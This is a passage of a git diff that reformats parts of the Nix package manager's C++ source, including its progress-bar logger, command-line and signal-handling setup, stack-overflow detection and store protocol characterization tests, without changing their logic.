.type = type, - .parent = parent, - .startTime = std::chrono::steady_clock::now() - }); + state->activities.emplace_back( + ActInfo{.s = s, .type = type, .parent = parent, .startTime = std::chrono::steady_clock::now()}); auto i = std::prev(state->activities.end()); state->its.emplace(act, i); state->activitiesByType[type].its.emplace(act, i); @@ -231,11 +235,11 @@ public: if (type == actSubstitute) { auto name = storePathToName(getS(fields, 0)); auto sub = getS(fields, 1); - i->s = fmt( - hasPrefix(sub, "local") - ? "copying " ANSI_BOLD "%s" ANSI_NORMAL " from %s" - : "fetching " ANSI_BOLD "%s" ANSI_NORMAL " from %s", - name, sub); + i->s = + fmt(hasPrefix(sub, "local") ? "copying " ANSI_BOLD "%s" ANSI_NORMAL " from %s" + : "fetching " ANSI_BOLD "%s" ANSI_NORMAL " from %s", + name, + sub); } if (type == actPostBuildHook) { @@ -265,8 +269,10 @@ public: { while (act != 0) { auto i = state.its.find(act); - if (i == state.its.end()) break; - if (i->second->type == type) return true; + if (i == state.its.end()) + break; + if (i->second->type == type) + return true; act = i->second->parent; } return false; @@ -400,7 +406,8 @@ public: auto nextWakeup = std::chrono::milliseconds::max(); state.haveUpdate = false; - if (state.isPaused() || !state.active) return nextWakeup; + if (state.isPaused() || !state.active) + return nextWakeup; std::string line; @@ -414,7 +421,8 @@ public: auto now = std::chrono::steady_clock::now(); if (!state.activities.empty()) { - if (!status.empty()) line += " "; + if (!status.empty()) + line += " "; auto i = state.activities.rbegin(); while (i != state.activities.rend()) { @@ -426,7 +434,9 @@ public: if (i->startTime + delay < now) break; else - nextWakeup = std::min(nextWakeup, std::chrono::duration_cast(delay - (now - i->startTime))); + nextWakeup = std::min( + nextWakeup, + std::chrono::duration_cast(delay - (now - i->startTime))); } ++i; } @@ -439,14 +449,16 @@ public: line += ")"; } if (!i->lastLine.empty()) { - if (!i->s.empty()) line += ": "; + if (!i->s.empty()) + line += ": "; line += i->lastLine; } } } auto width = getWindowSize().second; - if (width <= 0) width = std::numeric_limits::max(); + if (width <= 0) + width = std::numeric_limits::max(); redraw("\r" + filterANSIEscapes(line, false, width) + ANSI_NORMAL + "\e[K"); @@ -459,51 +471,60 @@ public: std::string res; - auto renderActivity = [&](ActivityType type, const std::string & itemFmt, const std::string & numberFmt = "%d", double unit = 1) { - auto & act = state.activitiesByType[type]; - uint64_t done = act.done, expected = act.done, running = 0, failed = act.failed; - for (auto & j : act.its) { - done += j.second->done; - expected += j.second->expected; - running += j.second->running; - failed += j.second->failed; - } + auto renderActivity = + [&](ActivityType type, const std::string & itemFmt, const std::string & numberFmt = "%d", double unit = 1) { + auto & act = state.activitiesByType[type]; + uint64_t done = act.done, expected = act.done, running = 0, failed = act.failed; + for (auto & j : act.its) { + done += j.second->done; + expected += j.second->expected; + running += j.second->running; + failed += j.second->failed; + } - expected = std::max(expected, act.expected); + expected = std::max(expected, act.expected); - std::string s; + std::string s; - if (running || done || expected || failed) { - if (running) - if (expected != 0) - s = fmt(ANSI_BLUE + numberFmt + ANSI_NORMAL "/" ANSI_GREEN + numberFmt + ANSI_NORMAL "/" + numberFmt, - running / unit, done / unit, expected / unit); + if (running || done || expected || failed) { + if (running) + if (expected != 0) + s = + fmt(ANSI_BLUE + numberFmt + ANSI_NORMAL "/" ANSI_GREEN + numberFmt + ANSI_NORMAL "/" + + numberFmt, + running / unit, + done / unit, + expected / unit); + else + s = + fmt(ANSI_BLUE + numberFmt + ANSI_NORMAL "/" ANSI_GREEN + numberFmt + ANSI_NORMAL, + running / unit, + done / unit); + else if (expected != done) + if (expected != 0) + s = fmt(ANSI_GREEN + numberFmt + ANSI_NORMAL "/" + numberFmt, done / unit, expected / unit); + else + s = fmt(ANSI_GREEN + numberFmt + ANSI_NORMAL, done / unit); else - s = fmt(ANSI_BLUE + numberFmt + ANSI_NORMAL "/" ANSI_GREEN + numberFmt + ANSI_NORMAL, - running / unit, done / unit); - else if (expected != done) - if (expected != 0) - s = fmt(ANSI_GREEN + numberFmt + ANSI_NORMAL "/" + numberFmt, - done / unit, expected / unit); - else - s = fmt(ANSI_GREEN + numberFmt + ANSI_NORMAL, done / unit); - else - s = fmt(done ? ANSI_GREEN + numberFmt + ANSI_NORMAL : numberFmt, done / unit); - s = fmt(itemFmt, s); + s = fmt(done ? ANSI_GREEN + numberFmt + ANSI_NORMAL : numberFmt, done / unit); + s = fmt(itemFmt, s); - if (failed) - s += fmt(" (" ANSI_RED "%d failed" ANSI_NORMAL ")", failed / unit); - } + if (failed) + s += fmt(" (" ANSI_RED "%d failed" ANSI_NORMAL ")", failed / unit); + } - return s; - }; + return s; + }; - auto showActivity = [&](ActivityType type, const std::string & itemFmt, const std::string & numberFmt = "%d", double unit = 1) { - auto s = renderActivity(type, itemFmt, numberFmt, unit); - if (s.empty()) return; - if (!res.empty()) res += ", "; - res += s; - }; + auto showActivity = + [&](ActivityType type, const std::string & itemFmt, const std::string & numberFmt = "%d", double unit = 1) { + auto s = renderActivity(type, itemFmt, numberFmt, unit); + if (s.empty()) + return; + if (!res.empty()) + res += ", "; + res += s; + }; showActivity(actBuilds, "%s built"); @@ -511,9 +532,17 @@ public: auto s2 = renderActivity(actCopyPath, "%s MiB", "%.1f", MiB); if (!s1.empty() || !s2.empty()) { - if (!res.empty()) res += ", "; - if (s1.empty()) res += "0 copied"; else res += s1; - if (!s2.empty()) { res += " ("; res += s2; res += ')'; } + if (!res.empty()) + res += ", "; + if (s1.empty()) + res += "0 copied"; + else + res += s1; + if (!s2.empty()) { + res += " ("; + res += s2; + res += ')'; + } } showActivity(actFileTransfer, "%s MiB DL", "%.1f", MiB); @@ -522,7 +551,8 @@ public: auto s = renderActivity(actOptimiseStore, "%s paths optimised"); if (s != "") { s += fmt(", %.1f MiB / %d inodes freed", state.bytesLinked / MiB, state.filesLinked); - if (!res.empty()) res += ", "; + if (!res.empty()) + res += ", "; res += s; } } @@ -531,12 +561,14 @@ public: showActivity(actVerifyPaths, "%s paths verified"); if (state.corruptedPaths) { - if (!res.empty()) res += ", "; + if (!res.empty()) + res += ", "; res += fmt(ANSI_RED "%d corrupted" ANSI_NORMAL, state.corruptedPaths); } if (state.untrustedPaths) { - if (!res.empty()) res += ", "; + if (!res.empty()) + res += ", "; res += fmt(ANSI_RED "%d untrusted" ANSI_NORMAL, state.untrustedPaths); } @@ -558,10 +590,12 @@ public: std::optional ask(std::string_view msg) override { auto state(state_.lock()); - if (!state->active) return {}; + if (!state->active) + return {}; std::cerr << fmt("\r\e[K%s ", msg); auto s = trim(readLine(getStandardInput(), true)); - if (s.size() != 1) return {}; + if (s.size() != 1) + return {}; draw(*state); return s[0]; } diff --git a/src/libmain/shared.cc b/src/libmain/shared.cc index 50d4991be..c723d1ec9 100644 --- a/src/libmain/shared.cc +++ b/src/libmain/shared.cc @@ -17,7 +17,7 @@ #include #include #ifdef __linux__ -#include +# include #endif #include @@ -30,20 +30,21 @@ namespace nix { -char * * savedArgv; +char ** savedArgv; static bool gcWarning = true; void printGCWarning() { - if (!gcWarning) return; + if (!gcWarning) + return; static bool haveWarned = false; - warnOnce(haveWarned, + warnOnce( + haveWarned, "you did not specify '--add-root'; " "the result might be removed by the garbage collector"); } - void printMissing(ref store, const std::vector & paths, Verbosity lvl) { uint64_t downloadSize, narSize; @@ -52,10 +53,14 @@ void printMissing(ref store, const std::vector & paths, Verb printMissing(store, willBuild, willSubstitute, unknown, downloadSize, narSize, lvl); } - -void printMissing(ref store, const StorePathSet & willBuild, - const StorePathSet & willSubstitute, const StorePathSet & unknown, - uint64_t downloadSize, uint64_t narSize, Verbosity lvl) +void printMissing( + ref store, + const StorePathSet & willBuild, + const StorePathSet & willSubstitute, + const StorePathSet & unknown, + uint64_t downloadSize, + uint64_t narSize, + Verbosity lvl) { if (!willBuild.empty()) { if (willBuild.size() == 1) @@ -72,51 +77,53 @@ void printMissing(ref store, const StorePathSet & willBuild, const float downloadSizeMiB = downloadSize / (1024.f * 1024.f); const float narSizeMiB = narSize / (1024.f * 1024.f); if (willSubstitute.size() == 1) { - printMsg(lvl, "this path will be fetched (%.2f MiB download, %.2f MiB unpacked):", - downloadSizeMiB, - narSizeMiB); + printMsg( + lvl, "this path will be fetched (%.2f MiB download, %.2f MiB unpacked):", downloadSizeMiB, narSizeMiB); } else { - printMsg(lvl, "these %d paths will be fetched (%.2f MiB download, %.2f MiB unpacked):", + printMsg( + lvl, + "these %d paths will be fetched (%.2f MiB download, %.2f MiB unpacked):", willSubstitute.size(), downloadSizeMiB, narSizeMiB); } std::vector willSubstituteSorted = {}; - std::for_each(willSubstitute.begin(), willSubstitute.end(), - [&](const StorePath &p) { willSubstituteSorted.push_back(&p); }); - std::sort(willSubstituteSorted.begin(), willSubstituteSorted.end(), - [](const StorePath *lhs, const StorePath *rhs) { - if (lhs->name() == rhs->name()) - return lhs->to_string() < rhs->to_string(); - else - return lhs->name() < rhs->name(); - }); + std::for_each(willSubstitute.begin(), willSubstitute.end(), [&](const StorePath & p) { + willSubstituteSorted.push_back(&p); + }); + std::sort( + willSubstituteSorted.begin(), willSubstituteSorted.end(), [](const StorePath * lhs, const StorePath * rhs) { + if (lhs->name() == rhs->name()) + return lhs->to_string() < rhs->to_string(); + else + return lhs->name() < rhs->name(); + }); for (auto p : willSubstituteSorted) printMsg(lvl, " %s", store->printStorePath(*p)); } if (!unknown.empty()) { - printMsg(lvl, "don't know how to build these paths%s:", - (settings.readOnlyMode ? " (may be caused by read-only store access)" : "")); + printMsg( + lvl, + "don't know how to build these paths%s:", + (settings.readOnlyMode ? " (may be caused by read-only store access)" : "")); for (auto & i : unknown) printMsg(lvl, " %s", store->printStorePath(i)); } } - -std::string getArg(const std::string & opt, - Strings::iterator & i, const Strings::iterator & end) +std::string getArg(const std::string & opt, Strings::iterator & i, const Strings::iterator & end) { ++i; - if (i == end) throw UsageError("'%1%' requires an argument", opt); + if (i == end) + throw UsageError("'%1%' requires an argument", opt); return *i; } #ifndef _WIN32 -static void sigHandler(int signo) { } +static void sigHandler(int signo) {} #endif - void initNix(bool loadConfig) { /* Turn on buffering for cerr. */ @@ -141,7 +148,8 @@ void initNix(bool loadConfig) /* Install a dummy SIGUSR1 handler for use with pthread_kill(). */ act.sa_handler = sigHandler; - if (sigaction(SIGUSR1, &act, 0)) throw SysError("handling SIGUSR1"); + if (sigaction(SIGUSR1, &act, 0)) + throw SysError("handling SIGUSR1"); #endif #ifdef __APPLE__ @@ -149,19 +157,26 @@ void initNix(bool loadConfig) * Instead, add a dummy sigaction handler, and signalHandlerThread * can handle the rest. */ act.sa_handler = sigHandler; - if (sigaction(SIGWINCH, &act, 0)) throw SysError("handling SIGWINCH"); + if (sigaction(SIGWINCH, &act, 0)) + throw SysError("handling SIGWINCH"); /* Disable SA_RESTART for interrupts, so that system calls on this thread * error with EINTR like they do on Linux. * Most signals on BSD systems default to SA_RESTART on, but Nix * expects EINTR from syscalls to properly exit. */ act.sa_handler = SIG_DFL; - if (sigaction(SIGINT, &act, 0)) throw SysError("handling SIGINT"); - if (sigaction(SIGTERM, &act, 0)) throw SysError("handling SIGTERM"); - if (sigaction(SIGHUP, &act, 0)) throw SysError("handling SIGHUP"); - if (sigaction(SIGPIPE, &act, 0)) throw SysError("handling SIGPIPE"); - if (sigaction(SIGQUIT, &act, 0)) throw SysError("handling SIGQUIT"); - if (sigaction(SIGTRAP, &act, 0)) throw SysError("handling SIGTRAP"); + if (sigaction(SIGINT, &act, 0)) + throw SysError("handling SIGINT"); + if (sigaction(SIGTERM, &act, 0)) + throw SysError("handling SIGTERM"); + if (sigaction(SIGHUP, &act, 0)) + throw SysError("handling SIGHUP"); + if (sigaction(SIGPIPE, &act, 0)) + throw SysError("handling SIGPIPE"); + if (sigaction(SIGQUIT, &act, 0)) + throw SysError("handling SIGQUIT"); + if (sigaction(SIGTRAP, &act, 0)) + throw SysError("handling SIGTRAP"); #endif #ifndef _WIN32 @@ -184,56 +199,54 @@ void initNix(bool loadConfig) srandom(tv.tv_usec); #endif srand(tv.tv_usec); - - } - -LegacyArgs::LegacyArgs(const std::string & programName, +LegacyArgs::LegacyArgs( + const std::string & programName, std::function parseArg) - : MixCommonArgs(programName), parseArg(parseArg) + : MixCommonArgs(programName) + , parseArg(parseArg) { addFlag({ .longName = "no-build-output", .shortName = 'Q', .description = "Do not show build output.", - .handler = {[&]() {setLogFormat(LogFormat::raw); }}, + .handler = {[&]() { setLogFormat(LogFormat::raw); }}, }); addFlag({ .longName = "keep-failed", - .shortName ='K', + .shortName = 'K', .description = "Keep temporary directories of failed builds.", - .handler = {&(bool&) settings.keepFailed, true}, + .handler = {&(bool &) settings.keepFailed, true}, }); addFlag({ .longName = "keep-going", - .shortName ='k', + .shortName = 'k', .description = "Keep going after a build fails.", - .handler = {&(bool&) settings.keepGoing, true}, + .handler = {&(bool &) settings.keepGoing, true}, }); addFlag({ .longName = "fallback", .description = "Build from source if substitution fails.", - .handler = {&(bool&) settings.tryFallback, true}, + .handler = {&(bool &) settings.tryFallback, true}, }); - auto intSettingAlias = [&](char shortName, const std::string & longName, - const std::string & description, const std::string & dest) - { - addFlag({ - .longName = longName, - .shortName = shortName, - .description = description, - .labels = {"n"}, - .handler = {[=](std::string s) { - auto n = string2IntWithUnitPrefix(s); - settings.set(dest, std::to_string(n)); - }}, - }); - }; + auto intSettingAlias = + [&](char shortName, const std::string & longName, const std::string & description, const std::string & dest) { + addFlag({ + .longName = longName, + .shortName = shortName, + .description = description, + .labels = {"n"}, + .handler = {[=](std::string s) { + auto n = string2IntWithUnitPrefix(s); + settings.set(dest, std::to_string(n)); + }}, + }); + }; intSettingAlias(0, "cores", "Maximum number of CPU cores to use inside a build.", "cores"); intSettingAlias(0, "max-silent-time", "Number of seconds of silence before a build is killed.", "max-silent-time"); @@ -255,23 +268,24 @@ LegacyArgs::LegacyArgs(const std::string & programName, .longName = "store", .description = "The URL of the Nix store to use.", .labels = {"store-uri"}, - .handler = {&(std::string&) settings.storeUri}, + .handler = {&(std::string &) settings.storeUri}, }); } - bool LegacyArgs::processFlag(Strings::iterator & pos, Strings::iterator end) { - if (MixCommonArgs::processFlag(pos, end)) return true; + if (MixCommonArgs::processFlag(pos, end)) + return true; bool res = parseArg(pos, end); - if (res) ++pos; + if (res) + ++pos; return res; } - bool LegacyArgs::processArgs(const Strings & args, bool finish) { - if (args.empty()) return true; + if (args.empty()) + return true; assert(args.size() == 1); Strings ss(args); auto pos = ss.begin(); @@ -280,21 +294,20 @@ bool LegacyArgs::processArgs(const Strings & args, bool finish) return true; } - -void parseCmdLine(int argc, char * * argv, - std::function parseArg) +void parseCmdLine( + int argc, char ** argv, std::function parseArg) { parseCmdLine(std::string(baseNameOf(argv[0])), argvToStrings(argc, argv), parseArg); } - -void parseCmdLine(const std::string & programName, const Strings & args, +void parseCmdLine( + const std::string & programName, + const Strings & args, std::function parseArg) { LegacyArgs(programName, parseArg).parseCmdline(args); } - void printVersion(const std::string & programName) { std::cout << fmt("%1% (Nix) %2%", programName, nixVersion) << std::endl; @@ -308,9 +321,7 @@ void printVersion(const std::string & programName) std::cout << "Additional system types: " << concatStringsSep(", ", settings.extraPlatforms.get()) << "\n"; std::cout << "Features: " << concatStringsSep(", ", cfg) << "\n"; std::cout << "System configuration file: " << settings.nixConfDir + "/nix.conf" << "\n"; - std::cout << "User configuration files: " << - concatStringsSep(":", settings.nixUserConfFiles) - << "\n"; + std::cout << "User configuration files: " << concatStringsSep(":", settings.nixUserConfFiles) << "\n"; std::cout << "Store directory: " << settings.nixStore << "\n"; std::cout << "State directory: " << settings.nixStateDir << "\n"; std::cout << "Data directory: " << settings.nixDataDir << "\n"; @@ -356,13 +367,15 @@ int handleExceptions(const std::string & programName, std::function fun) return 0; } - RunPager::RunPager() { - if (!isatty(STDOUT_FILENO)) return; + if (!isatty(STDOUT_FILENO)) + return; char * pager = getenv("NIX_PAGER"); - if (!pager) pager = getenv("PAGER"); - if (pager && ((std::string) pager == "" || (std::string) pager == "cat")) return; + if (!pager) + pager = getenv("PAGER"); + if (pager && ((std::string) pager == "" || (std::string) pager == "cat")) + return; logger->stop(); @@ -393,7 +406,6 @@ RunPager::RunPager() #endif } - RunPager::~RunPager() { try { @@ -409,13 +421,10 @@ RunPager::~RunPager() } } - PrintFreed::~PrintFreed() { if (show) - std::cout << fmt("%d store paths deleted, %s freed\n", - results.paths.size(), - showBytes(results.bytesFreed)); + std::cout << fmt("%d store paths deleted, %s freed\n", results.paths.size(), showBytes(results.bytesFreed)); } } diff --git a/src/libmain/unix/stack.cc b/src/libmain/unix/stack.cc index cee21d2a2..dbfedaf65 100644 --- a/src/libmain/unix/stack.cc +++ b/src/libmain/unix/stack.cc @@ -10,7 +10,6 @@ namespace nix { - static void sigsegvHandler(int signo, siginfo_t * info, void * ctx) { /* Detect stack overflows by comparing the faulting address with @@ -28,7 +27,8 @@ static void sigsegvHandler(int signo, siginfo_t * info, void * ctx) if (haveSP) { ptrdiff_t diff = (char *) info->si_addr - sp; - if (diff < 0) diff = -diff; + if (diff < 0) + diff = -diff; if (diff < 4096) { nix::stackOverflowHandler(info, ctx); } @@ -39,13 +39,13 @@ static void sigsegvHandler(int signo, siginfo_t * info, void * ctx) sigfillset(&act.sa_mask); act.sa_handler = SIG_DFL; act.sa_flags = 0; - if (sigaction(SIGSEGV, &act, 0)) abort(); + if (sigaction(SIGSEGV, &act, 0)) + abort(); } - void detectStackOverflow() { -#if defined(SA_SIGINFO) && defined (SA_ONSTACK) +#if defined(SA_SIGINFO) && defined(SA_ONSTACK) /* Install a SIGSEGV handler to detect stack overflows. This requires an alternative stack, otherwise the signal cannot be delivered when we're out of stack space. */ @@ -53,9 +53,11 @@ void detectStackOverflow() stack.ss_size = 4096 * 4 + MINSIGSTKSZ; static auto stackBuf = std::make_unique>(stack.ss_size); stack.ss_sp = stackBuf->data(); - if (!stack.ss_sp) throw Error("cannot allocate alternative stack"); + if (!stack.ss_sp) + throw Error("cannot allocate alternative stack"); stack.ss_flags = 0; - if (sigaltstack(&stack, 0) == -1) throw SysError("cannot set alternative stack"); + if (sigaltstack(&stack, 0) == -1) + throw SysError("cannot set alternative stack"); struct sigaction act; sigfillset(&act.sa_mask); @@ -68,7 +70,8 @@ void detectStackOverflow() std::function stackOverflowHandler(defaultStackOverflowHandler); -void defaultStackOverflowHandler(siginfo_t * info, void * ctx) { +void defaultStackOverflowHandler(siginfo_t * info, void * ctx) +{ char msg[] = "error: stack overflow (possible infinite recursion)\n"; [[gnu::unused]] auto res = write(2, msg, strlen(msg)); _exit(1); // maybe abort instead? diff --git a/src/libstore-test-support/include/nix/store/tests/derived-path.hh b/src/libstore-test-support/include/nix/store/tests/derived-path.hh index 642ce557c..f6dc9399e 100644 --- a/src/libstore-test-support/include/nix/store/tests/derived-path.hh +++ b/src/libstore-test-support/include/nix/store/tests/derived-path.hh @@ -12,27 +12,32 @@ namespace rc { using namespace nix; template<> -struct Arbitrary { +struct Arbitrary +{ static Gen arbitrary(); }; template<> -struct Arbitrary { +struct Arbitrary +{ static Gen arbitrary(); }; template<> -struct Arbitrary { +struct Arbitrary +{ static Gen arbitrary(); }; template<> -struct Arbitrary { +struct Arbitrary +{ static Gen arbitrary(); }; template<> -struct Arbitrary { +struct Arbitrary +{ static Gen arbitrary(); }; diff --git a/src/libstore-test-support/include/nix/store/tests/nix_api_store.hh b/src/libstore-test-support/include/nix/store/tests/nix_api_store.hh index bc0f31d05..2e6ac44b3 100644 --- a/src/libstore-test-support/include/nix/store/tests/nix_api_store.hh +++ b/src/libstore-test-support/include/nix/store/tests/nix_api_store.hh @@ -11,7 +11,9 @@ #include #include -namespace fs { using namespace std::filesystem; } +namespace fs { +using namespace std::filesystem; +} namespace nixC { class nix_api_store_test : public nix_api_util_context @@ -44,8 +46,9 @@ protected: // no `mkdtemp` with MinGW auto tmpl = nix::defaultTempDir() + "/tests_nix-store."; for (size_t i = 0; true; ++i) { - nixDir = tmpl + std::string { i }; - if (fs::create_directory(nixDir)) break; + nixDir = tmpl + std::string{i}; + if (fs::create_directory(nixDir)) + break; } #else // resolve any symlinks in i.e. on macOS /tmp -> /private/tmp diff --git a/src/libstore-test-support/include/nix/store/tests/outputs-spec.hh b/src/libstore-test-support/include/nix/store/tests/outputs-spec.hh index c13c992b6..85c659e00 100644 --- a/src/libstore-test-support/include/nix/store/tests/outputs-spec.hh +++ b/src/libstore-test-support/include/nix/store/tests/outputs-spec.hh @@ -11,7 +11,8 @@ namespace rc { using namespace nix; template<> -struct Arbitrary { +struct Arbitrary +{ static Gen arbitrary(); }; diff --git a/src/libstore-test-support/include/nix/store/tests/path.hh b/src/libstore-test-support/include/nix/store/tests/path.hh index 59ff604d7..07e3a0e81 100644 --- a/src/libstore-test-support/include/nix/store/tests/path.hh +++ b/src/libstore-test-support/include/nix/store/tests/path.hh @@ -7,7 +7,8 @@ namespace nix { -struct StorePathName { +struct StorePathName +{ std::string name; }; @@ -20,12 +21,14 @@ namespace rc { using namespace nix; template<> -struct Arbitrary { +struct Arbitrary +{ static Gen arbitrary(); }; template<> -struct Arbitrary { +struct Arbitrary +{ static Gen arbitrary(); }; diff --git a/src/libstore-test-support/include/nix/store/tests/protocol.hh b/src/libstore-test-support/include/nix/store/tests/protocol.hh index acd10bf9d..9291e3ee1 100644 --- a/src/libstore-test-support/include/nix/store/tests/protocol.hh +++ b/src/libstore-test-support/include/nix/store/tests/protocol.hh @@ -14,8 +14,9 @@ class ProtoTest : public CharacterizationTest, public LibStoreTest { std::filesystem::path unitTestData = getUnitTestData() / protocolDir; - std::filesystem::path goldenMaster(std::string_view testStem) const override { - return unitTestData / (std::string { testStem + ".bin" }); + std::filesystem::path goldenMaster(std::string_view testStem) const override + { + return unitTestData / (std::string{testStem + ".bin"}); } }; @@ -31,10 +32,10 @@ public: { CharacterizationTest::readTest(testStem, [&](const auto & encoded) { T got = ({ - StringSource from { encoded }; + StringSource from{encoded}; Proto::template Serialise::read( *LibStoreTest::store, - typename Proto::ReadConn { + typename Proto::ReadConn{ .from = from, .version = version, }); @@ -54,7 +55,7 @@ public: StringSink to; Proto::template Serialise::write( *LibStoreTest::store, - typename Proto::WriteConn { + typename Proto::WriteConn{ .to = to, .version = version, }, @@ -65,11 +66,13 @@ public: }; #define VERSIONED_CHARACTERIZATION_TEST(FIXTURE, NAME, STEM, VERSION, VALUE) \ - TEST_F(FIXTURE, NAME ## _read) { \ - readProtoTest(STEM, VERSION, VALUE); \ - } \ - TEST_F(FIXTURE, NAME ## _write) { \ - writeProtoTest(STEM, VERSION, VALUE); \ + TEST_F(FIXTURE, NAME##_read) \ + { \ + readProtoTest(STEM, VERSION, VALUE); \ + } \ + TEST_F(FIXTURE, NAME##_write) \ + { \ + writeProtoTest(STEM, VERSION, VALUE); \ } } diff --git a/src/libstore-test-support/path.cc b/src/libstore-test-support/path.cc index 47c1d693b..3a484d618 100644 --- a/src/libstore-test-support/path.cc +++ b/src/libstore-test-support/path.cc @@ -23,8 +23,9 @@ using namespace nix; Gen storePathChar() { - return rc::gen::apply([](uint8_t i) -> char { - switch (i) { + return rc::gen::apply( + [](uint8_t i) -> char { + switch (i) { case 0 ... 9: return '0' + i; case 10 ... 35: @@ -45,36 +46,23 @@ Gen storePathChar() return '='; default: assert(false); - } - }, - gen::inRange(0, 10 + 2 * 26 + 6)); + } + }, + gen::inRange(0, 10 + 2 * 26 + 6)); } Gen Arbitrary::arbitrary() { return gen::construct( - gen::suchThat( - gen::container(storePathChar()), - [](const std::string & s) { - return - !( s == "" - || s == "." - || s == ".." - || s.starts_with(".-") - || s.starts_with("..-") - ); - } - ) - ); + gen::suchThat(gen::container(storePathChar()), [](const std::string & s) { + return !(s == "" || s == "." || s == ".." || s.starts_with(".-") || s.starts_with("..-")); + })); } Gen Arbitrary::arbitrary() { - return - gen::construct( - gen::arbitrary(), - gen::apply([](StorePathName n){ return n.name; }, gen::arbitrary()) - ); + return gen::construct( + gen::arbitrary(), gen::apply([](StorePathName n) { return n.name; }, gen::arbitrary())); } } // namespace rc diff --git a/src/libstore-tests/common-protocol.cc b/src/libstore-tests/common-protocol.cc index 6bfb8bd80..d57d44640 100644 --- a/src/libstore-tests/common-protocol.cc +++ b/src/libstore-tests/common-protocol.cc @@ -24,10 +24,8 @@ public: { CharacterizationTest::readTest(testStem, [&](const auto & encoded) { T got = ({ - StringSource from { encoded }; - CommonProto::Serialise::read( - *store, - CommonProto::ReadConn { .from = from }); + StringSource from{encoded}; + CommonProto::Serialise::read(*store, CommonProto::ReadConn{.from = from}); }); ASSERT_EQ(got, expected); @@ -42,27 +40,26 @@ public: { CharacterizationTest::writeTest(testStem, [&]() -> std::string { StringSink to; - CommonProto::Serialise::write( - *store, - CommonProto::WriteConn { .to = to }, - decoded); + CommonProto::Serialise::write(*store, CommonProto::WriteConn{.to = to}, decoded); return to.s; }); } }; #define CHARACTERIZATION_TEST(NAME, STEM, VALUE) \ - TEST_F(CommonProtoTest, NAME ## _read) { \ - readProtoTest(STEM, VALUE); \ - } \ - TEST_F(CommonProtoTest, NAME ## _write) { \ - writeProtoTest(STEM, VALUE); \ + TEST_F(CommonProtoTest, NAME##_read) \ + { \ + readProtoTest(STEM, VALUE); \ + } \ + TEST_F(CommonProtoTest, NAME##_write) \ + { \ + writeProtoTest(STEM, VALUE); \ } CHARACTERIZATION_TEST( string, "string", - (std::tuple { + (std::tuple{ "", "hi", "white rabbit", @@ -73,24 +70,24 @@ CHARACTERIZATION_TEST( CHARACTERIZATION_TEST( storePath, "store-path", - (std::tuple { - StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, - StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo-bar" }, + (std::tuple{ + StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo"}, + StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo-bar"}, })) CHARACTERIZATION_TEST( contentAddress, "content-address", - (std::tuple { - ContentAddress { + (std::tuple{ + ContentAddress{ .method = ContentAddressMethod::Raw::Text, .hash = hashString(HashAlgorithm::SHA256, "Derive(...)"), }, - ContentAddress { + ContentAddress{ .method = ContentAddressMethod::Raw::Flat, .hash = hashString(HashAlgorithm::SHA1, "blob blob..."), }, - ContentAddress { + ContentAddress{ .method = ContentAddressMethod::Raw::NixArchive, .hash = hashString(HashAlgorithm::SHA256, "(...)"), }, @@ -99,12 +96,12 @@ CHARACTERIZATION_TEST( CHARACTERIZATION_TEST( drvOutput, "drv-output", - (std::tuple { + (std::tuple{ { .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), .outputName = "baz", }, - DrvOutput { + DrvOutput{ .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), .outputName = "quux", }, @@ -113,71 +110,78 @@ CHARACTERIZATION_TEST( CHARACTERIZATION_TEST( realisation, "realisation", - (std::tuple { - Realisation { - .id = DrvOutput { - .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), - .outputName = "baz", - }, - .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, - .signatures = { "asdf", "qwer" }, - }, - Realisation { - .id = { - .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), - .outputName = "baz", - }, - .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, - .signatures = { "asdf", "qwer" }, - .dependentRealisations = { - { - DrvOutput { - .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), - .outputName = "quux", - }, - StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + (std::tuple{ + Realisation{ + .id = + DrvOutput{ + .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + .outputName = "baz", + }, + .outPath = StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo"}, + .signatures = {"asdf", "qwer"}, + }, + Realisation{ + .id = + { + .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + .outputName = "baz", + }, + .outPath = StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo"}, + .signatures = {"asdf", "qwer"}, + .dependentRealisations = + { + { + DrvOutput{ + .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "quux", + }, + StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo"}, + }, }, - }, }, })) CHARACTERIZATION_TEST( vector, "vector", - (std::tuple, std::vector, std::vector, std::vector>> { - { }, - { "" }, - { "", "foo", "bar" }, - { {}, { "" }, { "", "1", "2" } }, + (std::tuple< + std::vector, + std::vector, + std::vector, + std::vector>>{ + {}, + {""}, + {"", "foo", "bar"}, + {{}, {""}, {"", "1", "2"}}, })) CHARACTERIZATION_TEST( set, "set", - (std::tuple, std::set, std::set, std::set>> { - { }, - { "" }, - { "", "foo", "bar" }, - { {}, { "" }, { "", "1", "2" } }, + (std::tuple, std::set, std::set, std::set>>{ + {}, + {""}, + {"", "foo", "bar"}, + {{}, {""}, {"", "1", "2"}}, })) CHARACTERIZATION_TEST( optionalStorePath, "optional-store-path", - (std::tuple, std::optional> { + (std::tuple, std::optional>{ std::nullopt, - std::optional { - StorePath { 